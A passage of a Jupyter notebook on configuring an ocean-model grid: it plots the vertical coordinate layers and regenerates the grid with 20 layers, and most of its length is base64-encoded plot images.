cMomT7ZvY//zQAze5+kLCrr2PnhCewl5fRoUMHXnjhBen3IIQQQgjxP0wCiEZy1FRTvnfX2Z2s0WD0D6xXxlUt6xqCKTAInaeXu/KS+l0t6QqcVL7VXlmBo7KcqiOHKE/eTXXmIVCUei/nFdOSpv3uJrRHz5OaxkHdqsMry8n/+XsAzFHRxI2chF9CEqDmZGS8+aK770VYzxtoM3w8WoOB/HU/kPZMXfBwYz9aDRlN1aGDpCyYCi4nYdf2ofl9D3PgxSVUpqcSEBDAp59+itlsPrtrJ4QQQgghLgoSQDSSZ2RTEibOOu1xxenCXl6KtaiwruqSWsrVWlyI4nBgKy3GVlpM1cH0hr2gVodGwxnLtx5njorGP7G9Wsa17SV4hIaf9q/9hZt+Yf/zT2MvKwGtlqa33U3zAQ+7qzg5ay2kPjWb4t9/BSDm/keJvusBNBoNBb+sZd+SueByEdHnZloNHYO1qIC9s57EabHg364jbUZMJOfrTzj2zRdoNBref/99YmJiGvaehRBCCCHERUsCiEYy+PoRemXjG58pLhf28rIT/SGKi7D98efS4rrKSxacFgsua616osvJ8XUFjd6AwccXvY9awlXvrZZx9W97CX4J7TAGBP7pPCy5ORx+51UKflkLgGfT5sSNmoRvXKJ7jLW4iL2zJ1B1MB2NwUjc6MmE9egFQMGvP5H61GxwuQjvfROtn3gSp6WGvTPHYysuwjO6OYlT5lGyYzMH//scAAsXLuSGG25o9DUTQgghhBAXHwkg/iYarRZjQCDGgEB8Ytv86fg/lnRVXC4M3r5oTaazzh+oSE/l6KcrKNz0C7hcoNUSffu9NLv3IXeiNEDV4YPsnTkea1EBBl9/2k5b4N7SVLhxPamLZ4HLSXivG2kzfDwuu53keVOoPpKBMSCIdrOepjY/t26ci0cffZQnn3zyrOYshBBCCCEuPhJAXKTORUlXxeWieNsmjn76AeXJu9yPB3a6nOb3PYJvq7gTYxWFgl/Wsv+5RTgtFsxR0bSb+ZS7d0XhxnWkLprhzm9oM2ICitNByvwplO3ejs5sJmnmYtBq1SZztRauu+46SZoWQgghhPiHkQCikVx2O/bysjOOMfj5nTJp+e+gKAqW3BxKd24l5+tP3d2mNXo9oT2uo2n/e/Bu3qLeObbyUg68sITCjesA8G/XkcTJc909Io5+sZKM154DRSH06uuIGzUZRVFIWTiDkm2/uztPmyObsnP849iKi0hMTOTjjz/GYDD8nW9fCCGEEEKcZxJANFJlRjo7xw7503EG/wC10lJIGB7HS7qGhKrlXYNCMAYF19s6dLYURaHmaCblKbso27uLsuRd2IqL3Md1nl5E3nArUbf8B1PwyZ2f1WTqp7CXlaLR6Yi+6wGa3TUQrV6P4nRy8LXnyPnqEwAib+xH7JBRKCjse2oWxb//isZgJGn6Qnzj25I8exLVhw9i8A9g1apV+PmdXDJWCCGEEEL8b5MAopE0aNCcoZeD4lLA5cReVoq9rPRE9+dTMPj6u3tFGAPql3HVe3qi8/BE52EGrQZHZaVaurWqAntFOfaqShwV5VQdycBeVlp/jno9vm0SCL78SiKuvwW9p9dJr/3/S7h6NoshfsxUd36Gs7aWfU/PomiTWoWpxUNDaXr7veBysW/pPAo3/IxGr6ft1Hn4t7+UAy8/Q8m2TWiNRjZ8/x3Nmzdv7KUVQgghhBD/AySAaCTfuER6fLnutMcVRcFeUV5XxjX/RDnXwgJqi/KxFRdhLS7EZbViryjDXlFG1aEDf2lOWqMR37i2+Cddgl/iJfjGJbrLsZ5K8bZNpD+7SF2pqEumbj5gkHvbla2slL2zJ1CZnorGYCR+7BRCr+yJ4nKR/vxTFKz7AY1OR+LEOQR16srRL1ZybNVnAKxcsYIuXbr8pfcjhBBCCCEuXhJAnGMajQajnz9GP398WrY65RhFUXBUVdbrE2ErLcFpqakr41qjlnSt+7ficqH3Vku3Gnz80Pv4YvDxQe/jhzk8Ap9WcX+ac6EoCiXbfyfrk/fdjfDMTZoSN2YKfnFt3eNqsrPYM2MctXnH0Pv40nbaAvwT26MoCgdeWkreD6tAqyX+yRkEd72S3DWryfjvswAsXryY22+//dxcSCGEEEIIcVGSAOIC0Gg0dcGAL94xsef1tVxOB4W//kTWJyuoPnxQfX29niY33U7M/Y+i8/Bwjy3e9jv7np6No7ICj/BI2s16Gs+oaBSnkwMvP8Oxb74AjYb4MVMJvfJaCn5ZS/qziwAYNWoU48aNO6/vRQghhBBCXHgSQPxDOWtryV2zmuzPP6Q2PxcArYeZyBtuIarfXXgEh/5hrIWM119QAwTAp00CSdMXYfQPwGm1su+pWRRt+gU0GtqMmEDYNb0p2ryBfU+rDeUGDx7M0qVLpVyrEEIIIcS/gAQQjVSTk8Wht1897XENYPDzV6svhYTVq7ykPY8lTV1OB1WHDlK2Zwdle3dRnrwLp6UG6ubT5JY7aNK3v7s063Hl+5JJWzoXy7FsAJrccgctHhyKzmTCXlHO3tkTqdi3V82FGDeN0CuuoWTnVlIWTEdxOhkwYAAvvviiBA9CCCGEEP8SEkA0kr2ygqK6fgmNotFgDAhUg4njZV3rAgv1ezC6uspLWqPxlB/IFUXBWWvBUVlXiamygqpDB9SAIWU3zprqeuM9wiJo2v9uwnv1rbdVCdR+FkdWvEHWJ++Dy4UpOJQ2oyYR2KEzAJa8Y+yZMQ5LdhZ6L2/aTl+Ef9v2lKXsJnnOJBS7jdtuu4233noLnU7X+OshhBBCCCH+J0kA0UgeoRG0GjrmtMcVlwtbWYmaIF2QT21RAdaiQhS7DVtJMbaSYir37zvzi2h16M1mdGZPdGZPtYxrRQX2ygoUh/20p+m8vPFPbI9/uw74J3XAOyYWzSk+3FcdOUTakjnu6k9h1/QhdsgoDN4+AFQeTGfPjCexl5VgCgml3ewleEXHUHEgjb0zx+Oy1nL99dfzwQcfoD9DSVshhBBCCPHPI5/+GskUGESTm/o36hxFUbCXl2EtrCvrWlxAbWGB+2drUSG2kmJc1lr1BJcTR3UVjuqqUz6fRm/A4OuL3scXc1jknwYMx1lyc8j6dAV5a75BcdjR+/rRetg4Qq+4xj2mZPtmUhZMxWmx4BXTknazlmAKCqbqSAZ7po3BWVNNjx49+PTTTzGdoVSsEEIIIYT4Z5IA4m+g0Wgw+gdg9A/Ap1XcaccpTidOa+2JEq6WGhyWGnC56kq3+mLw9UNr8mhUzkHVkQyyPn6Pgl/WgssFQFCXbrQePgFTYJD62i4X2V99wqE3XkBxOvFvfyltp8xD7+VNeeoe9s4cj6O6issuu4yvv/4aT0/Pv3ZRhBBCCCHE/yQJIC4iGp0OvafXKTtHn43yfclkrXyX4i0b3Y8Fdrqc6P/cj3/b9u7HaosKSFs6j7Ld2wEIvbo3caMmoTUYKNr0K6mLZ+Cy2ejatSurV6/Gx8fnnMxPCCGEEEL875EAopGsxUXkr/vhjGOM/gGYgsPwCA3DFBzyp03ezhWX3U5Feiple3ZQsn0zFWnJ6gGNhpArriH6P/fh07J1vXMKfl3L/ueewlFdhdZkouUjw4m84VY0Gg3HvvuK/S88DS4XN910Ex999JGsPAghhBBC/MtJANFItYV5HHrjxUadYwwIUsu5hoThcbwCU0gopuC6Mq8BQWfMXTgdl91GZcZ+yvbspGzPDspT9+CyWt3HNXo9YddeT/Qd9+LZJLreuY7qKg689Az5P38PgE+rOOLHTVcbxykKR1a8yZH3Xwdg0KBBvPLKK5IwLYQQQgghJIBoLIOvP2E9rz/tccXpwl5WQm1hPtbCfFw2G7bSYmylZ6i+pNVhDAhAb/aqK+V6ogKT3tMTNBrslRU46kq3Hi/h6qq1nDw/P3/8kzrg364jQZd1r9cw7riy5F3se3oO1sJ80GppducDNLvnQbR6ff2u08DUqVOZPXu29HkQQgghhBCABBCN5hkZRfyYqQ0aqygK9opyrIX57oDCWlSo/ruoAGthAdbiInA5sRUXYaOo0fPR+/ji3/YS/Nt1xL9dR7yaxZz2w37lwXQyP3qHot/WA+ARHkn82Gn4JSQBqF2nn56tHtdoeP655xg2bFij5ySEEEIIIf65JIA4jzQaDUY/f4x+/vjEtjnlGMXpxFZWiq2kCEdd5SX1y/KHKkxKXdlWP7USk48vel/1Z723z5+uDpSn7iHzo3co2fa7+7Hw3jcR++gIdYUDtVLTvsWzqM48hEZvYOUHK7jjjjvO3cUQQgghhBD/CBJAXGAanQ5TUDCmoOBz+ryKolC2ezuZH75N2d6d6oNaLWE9riP6zvvwio5Rx7lc5Hz9CRlvvoxitxEaGspHH33E1VdffU7nI4QQQggh/hkkgGgka1EheT9+c8YxBv8APELCMIWG4xESis7D/LfMzWm1UrFvL6W7t1OyfTNVGfsBNZk6vOcNNL1jAJ6RUe7x1pJi0p6ZR+mOLQD07duXN954g9DQk/MmhBBCCCGEAAkgGq22KJ/D7/63Uefoff3wCDle1rWu8lJwqBpkhIRiDAxCq2v8r8Jps1KVcYDS3dso272D8n3JKHab+7jWaCSizy00vf0ePELC6p1btGUj6c8swF5RhoeHB0uWLGHo0KGSLC2EEEIIIc5IAohGMvoFENHn5tMeV1wubKUlaqJ0QZ6ax1BRTlVFuXtF4CT/vwrT8QpMZk90ZjNotfUrMJ2hCpMxKJiAdpfi3/5Sgjp3xegfUO+4vbKCw++86q6y1K5dO1asWEFiYuJZXxMhhBBCCPHvIQFEI5kjmtBmxIQGj7dXVZ6owlSQR21hAda6Cky1hfnYigvVROq/UoWpXUcC2nUk4JJOmJs0PeUqgq28jOwvPiLn609wWtTAY8yYMcyfPx+TydTo1xVCCCGEEP9OEkCcZwZvHwzePnjHxJ7y+CmrMNXU1PtZUVwYfPww+Ppi8PFD7+uLwde/QVWYbKUlHP3sA3JWf47LWguoqw5PP/0011133Xl5z0IIIYQQ4p9LAogL7HxVYbIWFXL0sw849u0XuGxqXkTHjh2ZNm0at9xyC1qt9py+nhBCCCGE+HeQAKKRqjMPsf+Fp884xuAXgEdouJo0HRJW93M4eh/f85ak7KytpTx1D6W7tlG6axtVhw6AogBw2WWXMW3aNG688UZJkhZCCCGEEH+JBBCNsLr35aSmptI1Zc9Zna/1MLsrL6nfw9zfTcHB6Mxe6D290JpMp/ygrygKTkvNiUTqijKqDu6ndNc2tQKTw15v/BVXXMG0adO47rrrJHAQQgghhBDnhEZR6v5MLU6roqICPz8/ysvLcTgcrFu37rRjnU4nubm5ZGVlkZmZyfd7UqgtyMdeVtLwF9Rq/1CFyRO0GhwVFdgry1EcjtOe1rRpU3r16kXPnj259tpriYiIaMS7FEIIIYQQ/zZ//Jzr6+vboHMkgGiAs7mw/5/FYuHo0aMcPXqUrKws99fxfx87doyqqioa8uvw9PQkKCiI4OBgWrZsSc+ePenZsyexsbGy0iCEEEIIIRrsbD7nyhamv4nZbKZ169a0bt36tGNcLhfV1dVUVla6vyoqKnC5XAQHBxMUFERQUBCenp5/48yFEEIIIYQ4QQKIi4hWq8XHxwcfH58LPRUhhBBCCCFOSWp5CiGEEEIIIRpMAgghhBBCCCFEg13QAOKll16iXbt2+Pr64uvrS9euXfn222/dx2traxk2bBhBQUF4e3tz++23k5+fX+85srKy6Nu3L56enoSGhvLkk0/i+H+VitatW0fHjh0xmUzExsby1ltv/R1vTwghhBBCiH+cCxpAREVFsXDhQrZv3862bdu49tprufXWW0lJSQFg9OjRfP3113z88cesX7+eY8eO0b9/f/f5TqeTvn37YrPZ+O2333j77bd56623mD59unvM4cOH6du3L9dccw27du1i1KhRPPLII3z//fd/+/sVQgghhBDif91FV8Y1MDCQp556ijvuuIOQkBBWrFjBHXfcAUBaWhrx8fFs2rSJyy+/nG+//ZabbrqJY8eOERYWBsDLL7/MhAkTKCwsxGg0MmHCBFavXk1ycrL7Ne6++27Kysr47rvvGjSnc1HGVQghhBBCiIvN2XzOvWhyIJxOJx9++CHV1dV07dqV7du3Y7fb6dWrl3tMXFwc0dHRbNq0CYBNmzaRlJTkDh4A+vTpQ0VFhXsVY9OmTfWe4/iY489xKlarlYqKinpfQgghhBBCiIsggNi7dy/e3t6YTCaGDBnC559/TkJCAnl5eRiNRvz9/euNDwsLIy8vD4C8vLx6wcPx48ePnWlMRUUFFovllHNasGABfn5+7q+mTZuei7cqhBBCCCHE/7wLHkC0adOGXbt2sXnzZoYOHcrAgQNJTU29oHOaNGkS5eXl7q+jR49e0PkIIYQQQghxsbjgjeSMRiOxsbEAXHrppWzdupXly5dz1113YbPZKCsrq7cKkZ+fT3h4OADh4eFs2bKl3vMdr9L0xzH/v3JTfn4+vr6+mM3mU87JZDJhMpnOyfsTQgghhBDin+SCr0D8fy6XC6vVyqWXXorBYGDt2rXuY+np6WRlZdG1a1cAunbtyt69eykoKHCPWbNmDb6+viQkJLjH/PE5jo85/hxCCCGEEEKIhrugKxCTJk3ihhtuIDo6msrKSlasWMG6dev4/vvv8fPz4+GHH2bMmDEEBgbi6+vL8OHD6dq1K5dffjkAvXv3JiEhgfvvv5/FixeTl5fH1KlTGTZsmHsFYciQITz//POMHz+eQYMG8dNPP7Fy5UpWr159Id+6EEIIIYQQ/5MuaABRUFDAAw88QG5uLn5+frRr147vv/+e6667DoBnnnkGrVbL7bffjtVqpU+fPrz44ovu83U6HatWrWLo0KF07doVLy8vBg4cyOzZs91jYmJiWL16NaNHj2b58uVERUXx2muv0adPn7/9/QohhBBCCPG/7qLrA3Exkj4QQgghhBDin+h/ug+EEEIIIYQQ4uInAYQQQgghhBCiwS54Gdf/Bcd3eUlHaiGEEEII8U9y/PNtY7IaJIBogMrKSgDpSC2EEEIIIf6RKisr8fPza9BYSaJuAJfLxbFjx/Dx8UGj0VBRUUHTpk05evSoJFWLU5J7RJyJ3B/iz8g9Iv6M3CPizzT0HlEUhcrKSiIjI9FqG5bdICsQDaDVaomKijrpcV9fX/mPVpyR3CPiTOT+EH9G7hHxZ+QeEX+mIfdIQ1cejpMkaiGEEEIIIUSDSQAhhBBCCCGEaDAJIM6CyWRixowZmEymCz0VcZGSe0Scidwf4s/IPSL+jNwj4s+cz3tEkqiFEEIIIYQQDSYrEEIIIYQQQogGkwBCCCGEEEII0WASQAghhBBCCCEaTAIIIYQQQgghRINJANFIL7zwAs2bN8fDw4PLLruMLVu2XOgpiQtkwYIFdO7cGR8fH0JDQ+nXrx/p6en1xtTW1jJs2DCCgoLw9vbm9ttvJz8//wLNWFxICxcuRKPRMGrUKPdjcn+InJwc7rvvPoKCgjCbzSQlJbFt2zb3cUVRmD59OhEREZjNZnr16sWBAwcu4IzF38npdDJt2jRiYmIwm820bNmSOXPm8Mf6N3KP/Lv88ssv3HzzzURGRqLRaPjiiy/qHW/I/VBSUsKAAQPw9fXF39+fhx9+mKqqqkbNQwKIRvjoo48YM2YMM2bMYMeOHbRv354+ffpQUFBwoacmLoD169czbNgwfv/9d9asWYPdbqd3795UV1e7x4wePZqvv/6ajz/+mPXr13Ps2DH69+9/AWctLoStW7fyyiuv0K5du3qPy/3x71ZaWkr37t0xGAx8++23pKamsmTJEgICAtxjFi9ezLPPPsvLL7/M5s2b8fLyok+fPtTW1l7AmYu/y6JFi3jppZd4/vnn2bdvH4sWLWLx4sU899xz7jFyj/y7VFdX0759e1544YVTHm/I/TBgwABSUlJYs2YNq1at4pdffmHw4MGNm4giGqxLly7KsGHD3P92Op1KZGSksmDBggs4K3GxKCgoUABl/fr1iqIoSllZmWIwGJSPP/7YPWbfvn0KoGzatOlCTVP8zSorK5VWrVopa9asUXr06KGMHDlSURS5P4SiTJgwQbniiitOe9zlcinh4eHKU0895X6srKxMMZlMygcffPB3TFFcYH379lUGDRpU77H+/fsrAwYMUBRF7pF/O0D5/PPP3f9uyP2QmpqqAMrWrVvdY7799ltFo9EoOTk5DX5tWYFoIJvNxvbt2+nVq5f7Ma1WS69evdi0adMFnJm4WJSXlwMQGBgIwPbt27Hb7fXumbi4OKKjo+We+RcZNmwYffv2rXcfgNwfAr766is6derEf/7zH0JDQ+nQoQP//e9/3ccPHz5MXl5evXvEz8+Pyy67TO6Rf4lu3bqxdu1a9u/fD8Du3bvZsGEDN9xwAyD3iKivIffDpk2b8Pf3p1OnTu4xvXr1QqvVsnnz5ga/lv7cTfufraioCKfTSVhYWL3Hw8LCSEtLu0CzEhcLl8vFqFGj6N69O23btgUgLy8Po9GIv79/vbFhYWHk5eVdgFmKv9uHH37Ijh072Lp160nH5P4Qhw4d4qWXXmLMmDFMnjyZrVu3MmLECIxGIwMHDnTfB6f6/47cI/8OEydOpKKigri4OHQ6HU6nk3nz5jFgwAAAuUdEPQ25H/Ly8ggNDa13XK/XExgY2Kh7RgIIIc6BYcOGkZyczIYNGy70VMRF4ujRo4wcOZI1a9bg4eFxoacjLkIul4tOnToxf/58ADp06EBycjIvv/wyAwcOvMCzExeDlStX8v7777NixQoSExPZtWsXo0aNIjIyUu4RcUHJFqYGCg4ORqfTnVQhJT8/n/Dw8As0K3ExeOKJJ1i1ahU///wzUVFR7sfDw8Ox2WyUlZXVGy/3zL/D9u3bKSgooGPHjuj1evR6PevXr+fZZ59Fr9cTFhYm98e/XEREBAkJCfUei4+PJysrC8B9H8j/d/69nnzySSZOnMjdd99NUlIS999/P6NHj2bBggWA3COivobcD+Hh4ScV/3E4HJSUlDTqnpEAooGMRiOXXnopa9eudT/mcrlYu3YtXbt2vYAzExeKoig88cQTfP755/z000/ExMTUO37ppZdiMBjq3TPp6elkZWXJPfMv0LNnT/bu3cuuXbvcX506dWLAgAHun+X++Hfr3r37SaWf9+/fT7NmzQCIiYkhPDy83j1SUVHB5s2b5R75l6ipqUGrrf9RTafT4XK5ALlHRH0NuR+6du1KWVkZ27dvd4/56aefcLlcXHbZZQ1/sb+cAv4v8uGHHyomk0l56623lNTUVGXw4MGKv7+/kpeXd6GnJi6AoUOHKn5+fsq6deuU3Nxc91dNTY17zJAhQ5To6Gjlp59+UrZt26Z07dpV6dq16wWctbiQ/liFSVHk/vi327Jli6LX65V58+YpBw4cUN5//33F09NTee+999xjFi5cqPj7+ytffvmlsmfPHuXWW29VYmJiFIvFcgFnLv4uAwcOVJo0aaKsWrVKOXz4sPLZZ58pwcHByvjx491j5B75d6msrFR27typ7Ny5UwGUpUuXKjt37lQyMzMVRWnY/XD99dcrHTp0UDZv3qxs2LBBadWqlXLPPfc0ah4SQDTSc889p0RHRytGo1Hp0qWL8vvvv1/oKYkLBDjl15tvvukeY7FYlMcff1wJCAhQPD09ldtuu03Jzc29cJMWF9T/DyDk/hBff/210rZtW8VkMilxcXHKq6++Wu+4y+VSpk2bpoSFhSkmk0np2bOnkp6efoFmK/5uFRUVysiRI5Xo6GjFw8NDadGihTJlyhTFarW6x8g98u/y888/n/Kzx8CBAxVFadj9UFxcrNxzzz2Kt7e34uvrqzz00ENKZWVlo+ahUZQ/tDMUQgghhBBCiDOQHAghhBBCCCFEg0kAIYQQQgghhGgwCSCEEEIIIYQQDSYBhBBCCCGEEKLBJIAQQgghhBBCNJgEEEIIIYQQQogGkwBCCCGEEEII0WASQAghhBBCCCEaTAIIIYQQ593MmTO55JJLzvr8I0eOoNFo2LVr1zmbkxBCiLMjAYQQQojzbty4caxdu/ZCT0MIIcQ5oL/QExBCCPHP5+3tjbe391mda7PZzvFshBBC/BWyAiGEEOIvKywsJDw8nPnz57sf++233zAajaxdu7ZRW5gefPBB+vXrx7x584iMjKRNmzbuY4cOHeKaa67B09OT9u3bs2nTpnrnfvrppyQmJmIymWjevDlLliw5J+9PCCHECRJACCGE+MtCQkJ44403mDlzJtu2baOyspL777+fJ554gp49ezb6+dauXUt6ejpr1qxh1apV7senTJnCuHHj2LVrF61bt+aee+7B4XAAsH37du68807uvvtu9u7dy8yZM5k2bRpvvfXWuXqbQgghkC1MQgghzpEbb7yRRx99lAEDBtCpUye8vLxYsGDBWT2Xl5cXr732GkajEVCTqEHNpejbty8As2bNIjExkYMHDxIXF8fSpUvp2bMn06ZNA6B169akpqby1FNP8eCDD/7l9yeEEEIlKxBCCCHOmaeffhqHw8HHH3/M+++/j8lkOqvnSUpKcgcPf9SuXTv3zxEREQAUFBQAsG/fPrp3715vfPfu3Tlw4ABOp/Os5iGEEOJkEkAIIYQ4ZzIyMjh27Bgul8u9anA2vLy8Tvm4wWBw/6zRaABwuVxn/TpCCCEaT7YwCSGEOCdsNhv33Xcfd911F23atOGRRx5h7969hIaG/i2vHx8fz8aNG+s9tnHjRlq3bo1Op/tb5iCEEP8GEkAIIYQ4J6ZMmUJ5eTnPPvss3t7efPPNNwwaNKheEvT5NHbsWDp37sycOXO466672LRpE88//zwvvvji3/L6QgjxbyEBhBBCiL9s3bp1LFu2jJ9//hlfX18A3n33Xdq3b89LL730t8yhY8eOrFy5kunTpzNnzhwiIiKYPXu2JFALIcQ5plEURbnQkxBCCCGEEEL8b5AkaiGEEEIIIUSDSQAhhBDib+Xt7X3ar19//fVCT08IIcSfkC1MQggh/lYHDx487bEmTZpgNpv/xtkIIYRoLAkghBBCCCGEEA0mW5iEEEIIIcT/tV8HAgAAAACC/K1XGKAsgk0gAACATSAAAIBNIAAAgE0gAACATSAAAIBNIAAAgC02svZ4OL42+QAAAABJRU5ErkJggg==", "text/plain": [ "<Figure size 900x500 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "grid.plot_vertical_coordinate(\"layer_depth_rho\", eta=50)" ] }, { "cell_type": "markdown", "id": "c525e81a-253a-4431-a42c-f188c65ff4f9", "metadata": {}, "source": [ "The upper ocean layers are so densely packed that the lines converge and become indistinguishable. \n", "\n", "If you want to update the vertical coordinate system but leaving the remaining grid parameters unchanged, you can do so with the `.update_vertical_coordinate` method." ] }, { "cell_type": "code", "execution_count": 27, "id": "4a422c68-587d-4332-b320-9f41bcfd9adb", "metadata": { "tags": [] }, "outputs": [], "source": [ "grid.update_vertical_coordinate(N=20, theta_s=5.0, theta_b=2.0, hc=300.0)" ] }, { "cell_type": "markdown", "id": "f1df843c-8324-4bd1-8b7c-3f327ce5b5ce", "metadata": {}, "source": [ "In the cell above, we regenerated the vertical coordinate system but this time only with 20 layers." ] }, { "cell_type": "code", "execution_count": 28, "id": "7ffc7b1e-395f-4ab1-af80-77a9045b4cff", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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